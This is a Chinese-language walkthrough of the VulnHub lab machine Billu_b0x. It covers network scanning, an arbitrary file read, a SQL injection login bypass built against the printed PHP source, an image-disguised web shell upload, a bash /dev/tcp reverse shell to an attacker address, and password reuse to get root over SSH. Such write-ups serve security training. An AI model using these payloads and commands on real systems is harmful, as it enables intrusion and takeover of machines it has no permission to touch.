Billu_b0x
靶机搭建
下载链接
https://download.vulnhub.com/billu/Billu_b0x.zip
信息搜集
主机发现
扫描C端,发现129这台主机
sudo nmap -sn 10.10.10.0/24

如果扫不到就多重启几次靶机
端口扫描
快速TCP扫描
开放了22和80两个端口
sudo nmap -sT --min-rate 10000 -p- 10.10.10.129 -oA ports

常见端口的UDP扫描
sudo nmap -sU --top-ports 40 10.10.10.129 -oA UDP

详细TCP扫描
sudo nmap -sT -sV -sC -O -p22,80 10.10.10.129 -oA details

漏洞脚本扫描
sudo nmap --script=vuln -p22,80 10.10.10.129 -o vuln

漏洞探测
web渗透
有登陆框,感觉是sql注入,但是万能密码没用

扫一下目录
gobuster dir -u http://10.10.10.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

add路由可以上传图片

但经过尝试,似乎上传不了,有可能需要先登录,先看其他路由吧
test路由提示需要file参数

get传参没反应,post传参可以任意文件读取
这里暴露了一个用户ica,可能就是我们的目标

in路由暴露了phpinfo

其他的路由都没什么用
获得立足点
既然能任意文件读取,读一下index.php的源码

<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
核心是这三行代码,把单引号变成空格了
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
这里需要构造一个用户名和密码,使拼接出来的sql语句恒成立
比如说下面这sql语句,pass是\,name是or 1=1 --+\
拼接后单引号会被转义,pass变成了'and uname = ,后面还有or 1=1 ,所以这句sql语句是恒成立的
select * from auth where pass='\' and uname='or 1=1 --+\'
登录成功

Show users可以上传图片

尝试上传一句话木,显示只能上传图片

修改后缀后加个文件头就可以绕过了,成功上传

但是在上传目录中图片没有被当成php解析

回到上传页面,感觉load参数有点可疑,改成图片路径会不会就可以解析了?尝试一下

成功执行命令

弹个shell,记得要url编码
bash -c 'exec bash -i &>/dev/tcp/10.10.10.128/9999 <&1'

反弹成功

提权
靶机有python,先升级一下终端

常见的提权方式没找到可以利用的点,找一下敏感文件

递归查询配置文件
find /var/www -iname "config*" 2>/dev/null

找到了phpmyadmin的root密码

尝试密码复用登录ssh

SSH 本地记录的目标机器密钥和现在目标返回的密钥不一致,出于安全拦截连接
加参数跳过主机密钥校验
ssh -o StrictHostKeyChecking=No -o UserKnownHostsFile=/dev/null root@10.10.10.129
StrictHostKeyChecking=no:不强制校验主机指纹UserKnownHostsFile=/dev/null:不写入本地密钥缓存,下次不会再冲突
成功拿到root

靶机的内核版本较低,也可以尝试内核提权,这里我就不试了

浙公网安备 33010602011771号